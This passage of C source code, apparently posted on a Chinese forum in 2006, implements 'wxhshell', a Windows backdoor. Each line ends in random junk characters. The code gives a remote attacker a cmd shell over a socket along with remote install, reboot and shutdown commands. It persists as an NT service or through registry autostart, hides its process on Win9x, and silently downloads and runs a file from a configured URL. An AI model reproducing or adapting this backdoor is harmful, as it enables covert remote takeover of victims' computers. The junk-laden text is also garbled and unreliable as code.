  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K4RQ{fWpm  
  else 00>knCe6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aU.!+e%_  
  } @eESKg(,  
  else { Oku7&L1  
ww+,GnV  
    switch(cmd[0]) { A&ceuu  
  Rb^G~82d?  
  // 帮助 B<.ZW}#v  
  case '?': { EZp >Cf7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mTL`8hv?  
    break; RA){\~@wC  
  } 6#:V3 ;  
  // 安装 <jaQ 0S{|  
  case 'i': { T`u ,!S  
    if(Install()) 6Xn9$C)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k5}Qx'/l  
    else l%u8Lq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2J)  
    break; 6@:<62!;  
    } D)[(  
  // 卸载 pOB<Bx5t  
  case 'r': { K|D1  
    if(Uninstall()) F[B=sI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (_N(K`4#W  
    else U9\w)D|+eE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D deKZ)8  
    break; ]Ee$ulJ02  
    } eT2Tg5Etc  
  // 显示 wxhshell 所在路径 (BK_A {5  
  case 'p': { .WBp!*4  
    char svExeFile[MAX_PATH]; v@fy*T\3  
    strcpy(svExeFile,"\n\r"); cQ`0d3  
      strcat(svExeFile,ExeFile); s? Gv/&  
        send(wsh,svExeFile,strlen(svExeFile),0); |WT]s B0Eq  
    break; & \C1QkI  
    } j]mnH`#BL  
  // 重启 _Db&f}.`  
  case 'b': { Z;;A#h'%e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4)XB3$<  
    if(Boot(REBOOT)) aM_O0Rn==  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ME'D  
    else { "F Etl(  
    closesocket(wsh); .rX,*|1x  
    ExitThread(0); Bq-}BN?pz  
    } alsD TQ'  
    break; sQ[N3  
    } mM{cH=  
  // 关机 Jt}#,I,B  
  case 'd': { ~g@}A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M[u6+`  
    if(Boot(SHUTDOWN)) ]$-<< N{}'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =<K6gC27  
    else { Bf[`o<c  
    closesocket(wsh); &2ty++gC  
    ExitThread(0); ;R@D  
    } {lppv(U  
    break; U+[ "b-c  
    } m !i`|]m  
  // 获取shell 6 =G=4{q  
  case 's': { j0{Qy;wP )  
    CmdShell(wsh); >V\^oh)t]t  
    closesocket(wsh); ]9W7]$  
    ExitThread(0); 5e?<x>e  
    break; tCw B 7 c-  
  } 7y.iXe!P  
  // 退出 'C>sYSL  
  case 'x': { V&Rwj_Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `z7,HJ.0c  
    CloseIt(wsh); _lm^v%J$  
    break; Zdfh*MHMg  
    } B;piO-hH  
  // 离开 =NNxe"Kd;U  
  case 'q': { 3kwkU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .t&G^i'n  
    closesocket(wsh); Zzb?Nbf  
    WSACleanup(); bUYjmb2g)  
    exit(1); <:8Ew  
    break; YJ~mcaw  
        } O*W<za;  
  } F'B0\v =  
  } J`{  o`>  
n@q- f-2  
  // 提示信息 }O| 9Qb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S a}P |qI  
} cz|?j  
  } @*|T(068&  
UG}2q:ST  
  return; P^ <to(|  
} ~sq@^<M)s  
9^nRwo  
// shell模块句柄 +m/n~-6q  
int CmdShell(SOCKET sock) 7QoMroR  
{ \F""G,AWq{  
STARTUPINFO si; o-;/ x)  
ZeroMemory(&si,sizeof(si)); +F2X2e)g"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]M'~uTf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6}|h  
PROCESS_INFORMATION ProcessInfo; ~-R2mAUK  
char cmdline[]="cmd"; K{B|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e,W,NnCICj  
  return 0; "7j E&I  
} 4G XS(  
:AI%{EV-L  
// 自身启动模式 :)&vf<JL  
int StartFromService(void) $TK= :8HY  
{ a(ml#-M  
typedef struct p  UW7p  
{ RAuVRm=E  
  DWORD ExitStatus; w8 `1'*HG  
  DWORD PebBaseAddress; k_Y7<z0G  
  DWORD AffinityMask; es=OWJt^  
  DWORD BasePriority; !_B*Po  
  ULONG UniqueProcessId; -*Th=B-  
  ULONG InheritedFromUniqueProcessId; 9QL%q; #  
}   PROCESS_BASIC_INFORMATION; Zs,6}m\  
WJ[>p ELT,  
PROCNTQSIP NtQueryInformationProcess; 4%I[.dBnM  
SQ/HZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,xAF=t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A5%$<  
,H^!G\  
  HANDLE             hProcess; |{_>H '  
  PROCESS_BASIC_INFORMATION pbi; $J&c1  
hhFO,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7T t!h f  
  if(NULL == hInst ) return 0; ]]3rSXs2}J  
j]vEo~Bbh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Nd{U|k3pL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a;M{ -G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fop +xR,Z  
,LxkdV  
  if (!NtQueryInformationProcess) return 0; TU*EtE'g/  
IOY7w"|LW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /SQ/$`1{  
  if(!hProcess) return 0; KC9e{  
?)(-_N&T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #N'9 w .  
"Wr[DqFd  
  CloseHandle(hProcess); vUOl@UQ5  
4z9lk^#"X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M]/DKo  
if(hProcess==NULL) return 0; ^H{YLO  
=Vazxt@[  
HMODULE hMod; ' 2O @  
char procName[255]; N^@:+,<3  
unsigned long cbNeeded; * 1xs/$`  
#.$y   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R^ P>yk8  
"Aw)0a[j1  
  CloseHandle(hProcess); H\\FAOj  
5Z5x\CcC3  
if(strstr(procName,"services")) return 1; // 以服务启动 |r36iUHZS  
Id>4fF:o  
  return 0; // 注册表启动 t8rFn  
} D|Wlq~IpQ  
D} j`T  
// 主模块 kxJ[Bi#  
int StartWxhshell(LPSTR lpCmdLine) j0V/\Ep)T<  
{  Pd(_  
  SOCKET wsl; tMp! MQ  
BOOL val=TRUE; {*[(j^OE  
  int port=0; ,]W|"NUI  
  struct sockaddr_in door; G -+!h4p  
slUi)@b  
  if(wscfg.ws_autoins) Install(); -B&(& R  
Y$]zba  
port=atoi(lpCmdLine); /F(n%8)Yq  
wJCw6&D,/  
if(port<=0) port=wscfg.ws_port; z ynu0X  
&>E gKL  
  WSADATA data; d!YP{y P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \IImxkE  
oOU_ Nay  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]sk=V.GGQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :zPK  
  door.sin_family = AF_INET; tp>YsQy]8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 19#>\9*  
  door.sin_port = htons(port); Fb =uN   
|?8nO.C~V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DL1nD5  
closesocket(wsl); !4'Fz[RK  
return 1; v^8sL` F  
} UeLO`Ug0;  
QuPz'Ut#  
  if(listen(wsl,2) == INVALID_SOCKET) { /lu|FWbEw  
closesocket(wsl); *4}NLUVX  
return 1; ZDgT"53   
} ^-[ I;P  
  Wxhshell(wsl); =CZRX' +yN  
  WSACleanup(); qqf*g=f  
wCruj`$  
return 0; Zis,%XY  
:Ev gUA\4  
} hpb|| V  
z+{qQ!  
// 以NT服务方式启动 , f$P[c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k:R\;l5  
{ ]\ _tO  
DWORD   status = 0; ce}A!v  
  DWORD   specificError = 0xfffffff; J&,hC%]  
%oTBh*K'o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x5BS|3W$a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X3 kFJ{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F}ATY!  
  serviceStatus.dwWin32ExitCode     = 0; M K)}zjw  
  serviceStatus.dwServiceSpecificExitCode = 0; &{a!)I>  
  serviceStatus.dwCheckPoint       = 0; 6AG]7d<  
  serviceStatus.dwWaitHint       = 0; UGy3 B)  
to</  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,.>9$(s  
  if (hServiceStatusHandle==0) return; C9sU^ ]#F  
Vb\g49\o/  
status = GetLastError(); OB$Jv<C@  
  if (status!=NO_ERROR) p TwzVz~  
{ Pd"c*n&9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d$3md<lIB  
    serviceStatus.dwCheckPoint       = 0; pka^7OWyN  
    serviceStatus.dwWaitHint       = 0; ~1wt=Ln>  
    serviceStatus.dwWin32ExitCode     = status; tjb$MW$('  
    serviceStatus.dwServiceSpecificExitCode = specificError; TZt;-t`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A%Ka)UU+n  
    return; Pg(Y}Tu  
  } oMj"l#a*  
$) "\N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EHm*~Sd  
  serviceStatus.dwCheckPoint       = 0; e,_Sj(R8  
  serviceStatus.dwWaitHint       = 0; 0lg'QG>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [07E-TT2U  
} zdrP56rzZ  
D5@=#/?*  
// 处理NT服务事件,比如:启动、停止 ofQs /  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O0L]xr  
{ *m+FMyr  
switch(fdwControl) 9U6$-]J  
{ bHnKtaK4c  
case SERVICE_CONTROL_STOP: <m`CLVx8m  
  serviceStatus.dwWin32ExitCode = 0; /-[vC$B"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iIX%%r+  
  serviceStatus.dwCheckPoint   = 0; A'z]?xQR  
  serviceStatus.dwWaitHint     = 0; Ia}qDGqPp!  
  { h$!YKfhq}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @i>)x*I#AI  
  } BN CM{}e  
  return; '`k7l7I[@  
case SERVICE_CONTROL_PAUSE: 3Z9Yzv)A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 92<+ug=  
  break; =+MF@ 4  
case SERVICE_CONTROL_CONTINUE: -^CW}IM{ I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w!6{{m  
  break; E0+L?(;  
case SERVICE_CONTROL_INTERROGATE: sT2`y$ '  
  break; =f!A o:Uc  
}; RxYENG]/6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %QEBY>|lI  
} >ceC8"}J5M  
N'ER!=l)  
// 标准应用程序主函数 l+"p$iZs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O|8@cO  
{ @u9L+*F  
PljPhAce  
// 获取操作系统版本 HZRFE[ 9nb  
OsIsNt=GetOsVer(); +a.2\Qt2A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *mp:#'  
D r(0w{5  
  // 从命令行安装 u'l4=e  
  if(strpbrk(lpCmdLine,"iI")) Install(); N)g_LL>^  
zU&Iy_Ke.  
  // 下载执行文件 {im?tZ,  
if(wscfg.ws_downexe) { V_J0I*Qa4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &!X<F,  
  WinExec(wscfg.ws_filenam,SW_HIDE); HAK,z0/  
} ^t4^gcoZ4Z  
';FJs&=I  
if(!OsIsNt) { wz`% ( \  
// 如果时win9x,隐藏进程并且设置为注册表启动 @`L ;_S+  
HideProc(); [E a{);  
StartWxhshell(lpCmdLine); V0,JTWc  
} TS6xF?  
else ,M3hE/rb/  
  if(StartFromService()) O00;0wu  
  // 以服务方式启动 i&>^"_4rc  
  StartServiceCtrlDispatcher(DispatchTable); }jCO@v;  
else i;^lh]u  
  // 普通方式启动 Gb `)d  
  StartWxhshell(lpCmdLine); S2'ai  
(_e[CqFu  
return 0; vlkw Wm  
}
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只看该作者 1 发表于: 2006-10-10
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